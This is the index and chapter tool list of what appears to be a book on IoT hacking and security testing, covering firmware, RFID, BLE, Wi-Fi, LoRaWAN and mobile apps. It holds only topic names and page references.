9:  Firmware Hacking Binwalk, FIRMADYNE, Firmwalker, Hashcat, 
S3Scanner

10: Short Range Radio: Abusing RFID Proxmark3

11: Bluetooth Low Energy Bettercap, GATTTool, Wireshark, BLE USB 
dongle (e.g. Ubertooth One) 

12: Medium Range Radio: Hacking Wi-Fi Aircrack-ng, Alfa Atheros AWUS036NHA, 
Hashcat, Hcxtools, Hcxdumptool, Reaver, 
Wifiphisher,

13: Long Range Radio: LPWAN Arduino, CircuitPython, Heltec LoRa 32, 
CatWAN USB, LoStik

14: Attacking Mobile Applications Adb, Apktool, BinaryCookieReader, Clutch, 
Dex2jar, Drozer, Frida, JADX, Plutil, Otool, 
LLDB, Qark, Radare2

15: Hacking the Smart Home Aircrack-ng, CubicSDR, Frida, Proxmark3, 
Pupy, Rpitx, RTL-SDR DVB-T, Rtptools 



I N D E X

Italicized page numbers indicate definitions of terms.

Symbols & Numbers
* character, 255, 263
8N1 UART configuration, 158
802.11 protocols, 288
802.11w, 289

A
AAAA records, 138–139
A-ASSOCIATE abort message, 96
A-ASSOCIATE accept message, 96
A-ASSOCIATE reject message, 96
A-ASSOCIATE request message, 96

C-ECHO requests dissector, building, 
101–105

defining structure, 112–113
overview, 96
parsing responses, 113–114
structure of, 101–102
writing contexts, 110–111

ABP (Activation by Personalization), 324, 
326–327, 330–331

Abstract Syntax, 111
access bits, 251–252
access controls, testing, 49–50
access points (APs), 287

cracking WPA Enterprise, 304–305
cracking WPA/WPA2, 299–300
general discussion, 287–288
overview, 299

access port, 60
account privileges, testing, 51
ACK spoofing, 331
Activation by Personalization (ABP), 324, 

326–327, 330–331
active reconnaissance, 43, 43–45
active RFID technologies, 241–242
active spidering, 48
Activities, in Android apps, 361
activity tracking systems, 385
Adafruit CircuitPython

setting up, 318–319
writing LoRa sniffer, 320–322

Adafruit FT232H Breakout, 401–402
adb (Android Debug Bridge), 360, 402
adb logcat, 367–368
adb pull command, 361
AddPortMapping command, 125–126, 130
addressing layer, UPnP, 119
address search macro, 204
address space layout randomization, 345
admin credentials, Netgear D6000, 213–214
ADV_IND PDU type, 271
ADV_NONCONN_IND PDU type, 271
advanced persistent threat (APT) attacks, 26
adversaries, 6
aes128_cmac function, 325
AES 128-bit keys, 323, 325, 326
AFI (Application Family Identifier), 244
-afre argument, 135–136
aftermarket security, 5
Aircrack-ng, 289, 300–301, 402
Aireplay-ng, 290
Airmon-ng, 289–290, 297–298
Airodump-ng, 290, 301
Akamai, 118
Akerun Smart Lock Robot app for iOS, 357
alarms, jamming wireless, 375–379
Alfa Atheros AWUS036NHA, 402
altering RFID tags, 255–256
Amazon S3 buckets, 209–210
Amcrest IP camera, 147–152
amplification attacks, 94
analysis phase, network protocol 

inspections, 92–93
Andriesse, Dennis, 218
Android apps. See also smart treadmills, 

attacking
binary reversing, 362–363
dynamic analysis, 363–367
extracting APK, 361
MIFARE, attacking with, 256–257
network traffic, intercepting and 

examining, 367
overview, 360
preparing test environment, 360–361
security controls, 339–341
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side-channel leaks, 367–368
static analysis, 361–362
threats to, 337–338

Android Debug Bridge (adb), 360, 402
AndroidManifest.xml file, 361, 365–366
Android Open Source Project (AOSP), 

386–387
Android Package (APK) files, 360

abusing local file managers to install, 
391–393

binary reversing, 362–363
extracting, 361
static analysis, 361–362

Android Studio IDE, 360
Android Verified Boot, 341
Android Virtual Device (AVD) Manager, 360
Animas OneTouch Ping insulin pump 

security issue, 11–12
Announcing phase

ippserver, 137–138
mDNS, 132

antennas, RFID, 242–243
Anti-collision loop command, 258–259
anti-hacking laws, 12–13
"ANY" query, 134–135
AOSP (Android Open Source Project), 

386–387
APK files. See Android Package (APK) files
Apktool, 361, 402
Apkx, 361
app directory, inspecting, 366
AppEUI (application identifier), 325
AppKey, 323, 325
application analysis approach, 210–211
Application Context, A-ASSOCIATE 

request message, 110–111
application entity title, 102
Application Family Identifier (AFI), 244
application identifier (AppEUI), 325
application layer, LoRaWAN, 324
application logs, inspecting, 351–352
application mapping, 48
application server, 50, 309
application signatures, 340
application-specific attacks, LoRaWAN, 331
AppNonce, 326
AppSKey, 323, 326
APs. See access points (APs)
APT (advanced persistent threat) attacks, 26
ARC (Automatic Reference Counting), 346
Arduino, 402

coding target program in, 172–174
flashing and running program, 174–180

Arduino Integrated Development 
Environment (IDE), 170, 180

Heltec LoRa 32 development board, 
setting up, 309–314

setting up, 170–172
setting up controller-peripheral I2C 

bus architecture, 201–202
Arduino SAM boards, 171
Arduino Uno microcontroller, 198–202
A records, 138–140, 144
A-RELEASE request message, 96
A-RELEASE response message, 96
ar parameter, 261–262
asset-centric threat model, 30
association attacks, 291–295
Atheros AR7 devices, 225–226
Atlasis, Antonios, 133
at parameter, 261–262
attacker-centric threat model, 31
attack trees, 28–29
Attify Badge, 403
A-type messages, 96–97, 99
authentication

BLE, 282–283
MIFARE cards, 258–259
mobile apps, 340–341
mutual, 94
nested authentication attack, 374
web application testing, 49

authorization, testing, 49–50
AutoIP, 119
automatic device discovery, 145
Automatic Reference Counting (ARC), 346
automating

firmware analysis, 215–216
RFID attacks using Scripting Engine, 

263–264
static analysis of application source 

code, 346, 361
AVD (Android Virtual Device) Manager, 360

B
backdoor agent, 223–228
Baksmali, 368–369
banner grabbing, 44
base station, 372
battery drain attacks, 42
baud rate, 162–163, 317
b command, 349
beacon frames, 293
beacons, 270
Beagle I2C/SPI Protocol Analyzer, 403
bed of nails process, 164
Bettercap, 276

discovering devices and listing 
characteristics, 276–278

hacking BLE, 279–285
overview, 403

BinaryCookieReader, 350–351, 403
binary emulation, 216–217 

Android apps (continued)
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binary reversing
InsecureBankV2 app, 362–363
OWASP iGoat app, 355–356

bin/passwd binary file, 213
Binwalk, 212, 219, 403
binwalk Nmap command, 70–71
BIOS security testing, 41
bit-flipping attacks, 327–330
Black Magic Probe, 165
Black Pill (STM32F103C8T6)

boot mode, selecting, 174–175
coding target program in Arduino, 

172–174
connecting to computer, 179–180
connecting USB to serial adapter, 178
debugging target, 181–188
flashing and running Arduino 

program, 174–180
overview, 169–170, 412
UART pins, identifying with logic 

analyzer, 176–177
uploading Arduino program, 175–176

BladeRF, 403
BLE (Bluetooth Low Energy). See Bluetooth 

Low Energy (BLE)
BLE CTF Infinity

authentication, 282–283
examining characteristics and 

descriptors, 281–282
getting started, 279–280
overview, 278
setting up, 279
spoofing MAC address, 283–285

ble.enum command, 284
ble.show command, 276
ble.write command, 278
BlinkM LED, 198–202, 404
Bluetooth Low Energy (BLE), 269. See also 

BLE CTF Infinity
BlueZ, 273–274
configuring interfaces, 274–275
discovering devices, 275–278
GAP, 271–272
GATT, 272
general discussion, 270–272
hardware, 273
listing characteristics, 275–278
overview, 269–270
packet structure, 271

BlueZ, 273–274
Bolshev, A., 367
Bolt, Usain, 400
Bonjour, 138–139
boot environment, security testing of, 41
boot modes, ST-Link programmer, 174–175
boundary scan, 164
breadboard, 169

breakpoints in debugging, setting, 349
brokers, in publish-subscribe architecture, 73
brute-force attack, 213–214

cloning MIFARE Classic cards, 
252–253

preshared key attacks, 301
on RFID reader authentication 

control, 262–263
Wi-Fi Direct, 296–297

BSSID, 288
bufsiz variable, 173
built-in security for IoT devices, 5
Bundle container, 347
Burp Proxy Suite, 356–357
Burp Suite, 404
Bus Blaster, 404
Bus Pirate, 190

attacking I2C with, 202–206
communicating with SPI chip, 194–195
overview, 190, 404
reading memory chip contents, 196

BusyBox, 67
busybox file, 217
BYPASS command, JTAG, 164

C
CA (SSL certificate authority), 357
cameras, IP. See IP cameras
Capture the Flag (CTF). See BLE CTF 

Infinity
CatWAN USB Stick, 309, 404

turning into LoRa sniffer, 318–322
cbnz command, 185–186
C-ECHO messages, 96–97
C-ECHO requests dissector, building, 

101–105
central device, 270
Certificate Transparency, 37
CFAA (Computer Fraud and Abuse Act), 

12–13
characteristics, BLE, 272

examining, 281–282
listing, 275–278

char-read-hnd <handle> command, 282
charset variable, 265
checkEmulatorStatus() function, 368–369
check_fwmode file, 71
Chip Select (CS), 191
ChipWhisperer, 404
chk command, 252–253
chmod a+x <script_name>.js command, 328
chmod utility, 376
Cipher-based Message Authentication Code 

(CMAC), 325
CIPO (Controller In, Peripheral Out), 191
CIRCUITPY drive, 319, 320
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CircuitPython, 405
setting up, 318–319
writing LoRa sniffer, 320–322

Cisco VoIP devices, imitating, 66–67
classes, RFID tag, 243
classes.dex file, 361
Client, WS-Discovery, 145–146
client code, firmware update mechanisms 

for, 229–232
client impersonation attacks, 94
clients, enumerating and installing, 90
client-side controls, 48–49
cloning RFID tags

high-frequency, 250–254
of keylock system, 372–375
low-frequency, 249

cloud testing, 54
Clutch, 344, 405
CMAC (Cipher-based Message 

Authentication Code), 325
cmd struct, 85
Code of Practice, UK, 14
code.py file, 319, 320
com.android.insecureBankv2.PostLogin file, 368
combinator attack, 214
composition of IoT devices, 6
Computer Fraud and Abuse Act (CFAA), 

12–13
config_load "upnpd" command, 123–124
configuration files

finding credentials in firmware, 
214–215

OpenOCD Server, 181–182
ConfigureConnection command, 129
CONNACK packet, MQTT, 75–76, 80, 82–84
connect <mac address> command, 275
CONNECT packet, MQTT, 74, 80–82
content update command, 398
contexts, DICOM, 103–104
contexts of IoT devices, 6
continue command, GDB, 185
continuity test, 161
control data, in RFID tags, 243
control layer, UPnP, 120
Controller In, Peripheral Out (CIPO), 191
Controller Out, Peripheral In (COPI), 191
controller-peripheral I2C bus architecture, 

setting up, 198–202
control server, drug infusion pump, 19, 20
control server service, 20, 23–24
cookies, reading, 350–351
COPI (Controller Out, Peripheral In), 191
CoreData framework, 348
cores, 171
crafting attacks, 152–153
CRCs (cyclic redundancy checks), 243,  

313, 324

credentials
finding in firmware configuration files, 

214–215
firmware update services 

vulnerabilities, 233–234
WS-Discovery attacks, 153

Credentials.plist file, 345
crib dragging, 331
Cross-Site Request Forgery (CSRF)  

attacks, 49
cryptographic keys, 8
CS (Chip Select), 191
CSRF (Cross-Site Request Forgery)  

attacks, 49
CTF. See BLE CTF Infinity
CubicSDR, 376–378, 405
cyclic redundancy checks (CRCs), 243,  

313, 324
Cydia Impactor, 344

D
Dalvik Executable (DEX) file formats, 361
Damn Vulnerable ARM Router (DVAR), 235
Damn Vulnerable IoT Device (DVID), 235
Darkside attacks, 373–374
Dashboard APK, 397–398, 400
databases of apps, inspecting, 366–367
data bits, UART, 158
Data container, 347
data encryption, testing, 53
data link layer, 131
data protection, mobile app, 339–340
datasheets, 37
Data Storage Format Identifier (DSFID), 244
DDoS (Distributed Denial of Service), 4–5
Deauthenticate frames, 289
deauthentication attacks, 289–291
debugging

assessment of interfaces, 42
Black Pill

with GDB, 183–188
setting up environment for, 

170–172
on mobile apps, 348–349

debug symbols, 183
#define directives, 229
DeletePortMapping command, 130
denial of service attacks, 22

ACK spoofing, 331
on control server service, 24
on drug library, 24
on firmware, 26
on hardware, 27
on IP cameras, 152–153
on operating system, 25
on pump service, 28
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on restrictive user interface, 22–23
STRIDE threat classification model, 19
against wireless clients, 289–291

dependent protocols, discovering, 90
description layer, UPnP, 119
description XML file, 119–120
descriptors, BLE, 272, 281–282
DevAddr (end-device address), 324, 326
DevEUI (end-device identifier), 325
device attestation, 18
device bootloaders, 211
Device Discovery phase, Wi-Fi Direct, 296
DevNonce, 325
DEX (Dalvik Executable) file formats, 361
Dex2jar, 361, 405
dialout group, adding username to, 310
dicom_protocol .dissector() function, 102
dicom.associate() function, 114–115
dicom.pdu_header_encode() function, 113
DICOM pings, 96–97
DICOM protocol, 95. See also DICOM service 

scanner
C-ECHO requests dissector, building, 

101–105
general discussion, 95–97
Lua Wireshark dissector, developing, 

99–101
traffic, generating, 97

DICOM service scanner, 105
A-ASSOCIATE request messages, 

110–114
codes and constants, defining, 106–107
final script, writing, 113–114
functions for sending and receiving 

packets, 108–109
Nmap Scripting Engine library, 

creating, 106
overview, 105
packet headers, creating, 109–110
script arguments, reading in Nmap 

Scripting Engine, 112
socket creation and destruction 

functions, 107–108
dicom.start_connection() function, 107–108
dictionary attack, 49
differential power analysis, 42
Digital Millennium Copyright Act (DMCA), 

12–13
digital signing, 94
directives, Nmap service probe, 72
disassemble command, GDB, 184–185
Disassociate frames, 289
discovering BLE devices, 275–278
discovery layer, UPnP, 119
dissector() function, 99–100

dissectors
C-ECHO requests, building, 101–105
Lua Wireshark, 99–101
testing Wireshark, 91

Distributed Denial of Service (DDoS), 4–5
DMCA (Digital Millennium Copyright Act), 

12–13
dmesg command, 246
Domain Name System Service Discovery 

(DNS-SD), 131
conducting reconnaissance with, 

133–134
general discussion, 132–133
man-in-the-middle attacks

mDNS poisoner, creating, 141–144
mDNS poisoner, testing, 144–146
typical client and server 

interactions, 139–140
victim client, setting up, 138–139
victim server, setting up, 136–138

overview, 132
Dot1Q() function, 64
double tagging attacks, 63–65
downgrade attacks, 94
downtime, 52
DREAD Classification Scheme, 29–30
Drozer, 363–365, 405
drug infusion pump

architecture of, 19–21
identifying threats

attack trees, using, 28–29
control server service, 23–24
drug library, 24
firmware, 25–26
operating system, 25
overview, 21–22
physical equipment, 26–27
pump service, 27–28
RUI, 22–23

DSFID (Data Storage Format Identifier), 244
DTP (Dynamic Trunking Protocol), 61
dumpedkeys.bin file, 253–254
dump parameter, 253–254
dumptoemul script, 263
DVAR (Damn Vulnerable ARM Router), 235
DVID (Damn Vulnerable IoT Device), 235
dynamic analysis

firmware, 221–223
InsecureBankV2 app, 363–367
OWASP iGoat app, 347–353

dynamic patching
jailbreak detection, avoiding with, 

357–358
root detection, avoiding with, 369–370

Dynamic Trunking Protocol (DTP), 61
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E
EAP over LAN (EAPOL) handshake, 

299–300
EAP-TLS, 304–305
EAP-Tunneled-TLS (EAPTTLS), 304–305
eavesdropping, 331

LoRaWAN, 331
on tag-to-reader communication, 

260–261
Eclipse Mosquitto software, 75
economics of IoT manufacturing, 6
EEPROM flash memory chips, dumping 

with SPI, 192–196
eget command, 256
electronic health record (EHR), 19
elevation of privilege, 23

on control server service, 24
on drug library, 24
on firmware, 26
on hardware, 27
on operating system, 25
on pump service, 28
on restrictive user interface, 23
smart treadmills, attacking, 394
STRIDE threat classification model, 19

ELF (Executable and Linkable Format) 
file, 183

eload parameter, 255, 265
emergency stop key, 398
.eml file, loading in Proxmark3 memory, 265
emulation, firmware, 216–221
Enabled Protocols window, Wireshark, 91–92
encryption

checking for, 94
mobile app filesystem, 339–340
testing, 53

end-device address (DevAddr), 324, 326
end-device identifier (DevEUI), 325
endianness of protocol, 93
EPSON’s iPrint application, 363
escalating privileges. See elevation of 

privilege
eset parameter, 255
ESP32 development board, 273, 309–314
ESSID, 288
etc/passwd file, 213, 221
Ether() function, 64
eventing layer, UPnP, 120
EvilDirect attack, 297–299
Evil Twin attack, 291–292
exacqVision, 147–152
Exclude Nmap service probe directive, 72
Executable and Linkable Format (ELF) 

file, 183
executable binary, inspecting for memory 

protections, 345–346
exploitation, protocol or service, 47

Exported Activities, in Android apps, 361
Extensible Authentication Protocol (EAP) 

over LAN (EAPOL) handshake, 
299–300

External Entity (XXE) attacks, 121
EXTEST command, JTAG, 164

F
FACT (Firmware Analysis and Comparison 

Tool), 406
fail-open conditions, 49
faking cameras on network

analyzing requests and replies in 
Wireshark, 147–149

emulating cameras, 149–152
setting up, 147

fallback Nmap service probe directive, 72
FBE (file-based encryption), 339–340
FCC ID online database, 37–38
fchk command, 253
FCntDown frame counter, 330
FCntUp frame counter, 330
FDE (full disk encryption), 339–340
federal laws affecting IoT research,  

12–13
Fernandes, E., 368
fetchButtonTapped function, 358–359
FFmpeg, 384
FHDR (frame header), 324
file-based encryption (FBE), 339–340
File Manager application, treadmill 

browser, 392–393
file structure, iOS, 347
filesystem

access controls, testing, 53
firmware, 212–216
mobile app, 339–340

find command, 347
fingerprinting, 44, 67–71
firewalls

disabling in firmware, 222
punching holes through, 121–126

FIRMADYNE, 216, 218–221, 227, 405
Firmwalker, 215–216, 405
firmware, 25. See also firmware update 

mechanisms; Wi-Fi modem router 
hacking

backdooring, 223–228
general discussion, 208
identifying threats to, 25–26
obtaining, 209–211
security testing, 42

Firmware Analysis and Comparison Tool 
(FACT), 406

firmware-mod-kit, 226
firmware update mechanisms, 228

client code, 229–232
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compilation and setup, 229
general discussion, 228
running update service, 232–233
vulnerabilities of, 233–235

fixed header, MQTT CONNECT packet, 
80–82

flags, 355
flash memory chips, dumping with SPI, 

192–196
flashrom Linux utility, 195–196
flooding attacks, 94
flow diagrams, 38–39
forced browsing, 50
ForceTermination command, 129
fork() command, 224
Forshaw, James, 92, 116
Fourier transforms, 47
four-way handshake, WPA/WPA2, 299–300
FPort, 324
frame header (FHDR), 324
frameworks, 8–10
Frida instrumentation framework, 406

jailbreak detection, avoiding, 357–358
root detection, avoiding, 369–370
treadmill software and physical 

buttons, disabling, 398–399
FRMPayload, 324, 327
fs command, 355
fswatch application, 347–348
FTDI FT232RL, 406
full disk encryption (FDE), 339–340
fuse, 32
fuzz()function, 266
fuzzing

overview, 94
RFID, using custom scripting, 264–268

G
GAP (Generic Access Profile), 271–272
Garcia, Daniel, 118, 128
Garg, Praerit, 18
gateways, LoRaWAN, 309
GATT (Generic Attribute Profile), 272
GATTTool, 275, 406

discovering devices and listing 
characteristics, 275–276

hacking BLE, 279–285
reading and writing characteristics, 278

GDB, 172, 406
debugging with, 183–188
installing, 172

gdb-multiarch command, 183
Geiger, Harley, 12–13
Generic Access Profile (GAP), 271–272
Generic Attribute Profile (GATT), 272
Generic Attribute Profile Tool (GATTTool). 

See GATTTool

GetAutoDisconnectTime command, 129
GetConnectionTypeInfo command, 128
GetExternalIPAddress command, 130
GetGenericPortMappingEntry command, 129
GetIdleDisconnectTime command, 129
GetLinkLayerMaxBitRates command, 129
GetNATRSIPStatus command, 129
GetPassword command, 129
GetPPPAuthenticationProtocol command, 129
GetPPPCompressionProtocol command, 129
GetPPPEncryptionProtocol command, 129
GetSpecificPortMappingEntry command, 129
GetStatusInfo command, 129
GetUserName command, 129
GetWarnDisconnectDelay command, 129
Ghidra, 185, 406
git command, 226–227
glitching attacks, 42
GND (ground line), 197, 199
GND (Ground) port, UART, 159,  

161–162, 178
GNUcitizen, 118
GNU Debugger (GDB), 172

debugging with, 183–188
installing, 172

Goldberg, Dave, 400
Goode, Lauren, 4
Google Dorks, 209
Ground (GND) port, UART, 159,  

161–162, 178
ground line (GND), 197, 199
group owner, 295
Group Temporal Key (GTK), 300
guidance documents, 8–10

H
HackRF One, 407
HAL (Hardware Abstraction Layer), 396
halt command, 182
hardcoded credentials, 233–234
hardware

BLE, 273
identifying threats, 26–27
security testing, 40–43
smart treadmill design, 394–396
for Wi-Fi security assessments, 288

Hardware Abstraction Layer (HAL), 396
Hardware Abstraction Layer APK, 396
hardware folder, Arduino IDE, 170–171
hardware integrity attacks, 32
Hashcat, 213–214, 302, 304, 407
hashid, 213–214
hashing algorithms, insecure, 234
Hciconfig, 274
Hcxdumptool, 302–303, 407
hcxpcaptool command, 303
Hcxtools, 302, 407
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Heffner, Craig, 163
Heltec LoRa 32 development board, 309

overview, 309, 407
programming as LoRa sender, 310–313
setting up, 309–310
testing LoRa sender, 310–314

hf 14a raw command, 258–259
hf-mf-B46F6F79-data.bin file, 254
hf mf command, 251
hf mf ecfill command, 374
hf mf mifare command, 373–374
hf mf nested command, 374
hf mf rdsc command, 253
hf mf sim command, 262–263, 375
hf parameter, 248
hf search command, 258, 372–373
Hickory Smart app, 351
hidden content, 48
hidden Wi-Fi networks, 288
HID Global ProxCard, 244, 246
hid parameter, 249
high-frequency RFID

antennas for, 243
cloning tags, 250–254
general discussion, 245
identifying with Proxmark3, 248–249

HiLetgo USB logic analyzer, 176–177
Hippocratic Oath for Connected Medical 

Devices, 9
HMAC-MD5, 234
Homebrew package, 347–348
host configuration review, 50–54
host discovery, 43
HTTP caches, 350
Huawei HiLink app, 353
Hydrabus, 407

I
I2C. See Inter-Integrated Circuit (I2C)
I Am The Cavalry framework, 5–6, 9
IDA Pro, 408
IDE (Integrated Development 

Environment), Arduino. See 
Arduino Integrated Development 
Environment (IDE)

identification data, in RFID tags, 243
idle state, UART, 158
IDOR (Insecure Direct Object  

References), 54
IGD (Internet Gateway Device) protocol.  

See Internet Gateway Device 
(IGD) protocol

iGoat mobile app
binary reversing, 355–356
dynamic analysis, 347–353
injection attacks, 353–354

IPAs, extracting and re-signing, 343–344
jailbreak detection, avoiding, 357–360
keychain storage, 354
network traffic, intercepting and 

examining, 356–357
overview, 341–342
static analysis, 344–346
test environment, preparing, 342–343

iI command, 355
implicit header mode, 322
incline of treadmills, remotely controlling, 

394–398
info functions command, GDB, 183–184
info registers command, GDB, 185
information disclosure, 22

on control server service, 24
on drug library, 24
on firmware, 26
on hardware, 27
on operating system, 25
on pump service, 28
on restrictive user interface, 22
STRIDE threat classification model, 19

information-gathering phase, network 
protocol inspections, 90–91

Information Object Definitions (IODs), 
110–111

information property list file, 344–345
init command, 182
injection attacks

OWASP iGoat app, 353–354
SQL, 24, 120, 354
XSS, 353–354

injuries due to treadmill attacks, 400
input validation, 50
InsecureBankV2 app

binary reversing, 362–363
dynamic analysis, 363–367
extracting APK, 361
intercepting and examining network 

traffic, 367
overview, 360
preparing test environment, 360–361
side-channel leaks, 367–368
static analysis, 361–362

Insecure Direct Object References  
(IDOR), 54

insecure hashing algorithms, 234
insecurity canaries, 14
insulin pumps, 11–12, 16
Inter-Integrated Circuit (I2C), 189

Bus Pirate, attacking with, 202–206
controller-peripheral bus architecture, 

setting up, 198–202
general discussion, 197–198
hardware for communicating with, 

190–191
overview, 189
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abusing UPnP through WAN 

interfaces, 126–131
punching holes through firewalls, 
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Internet of Things (IoT), 3–4
IODs (Information Object Definitions), 

110–111
iOS apps

binary reversing, 355–356
dynamic analysis, 347–353
injection attacks, 353–354
IPAs, extracting and re-signing, 

343–344
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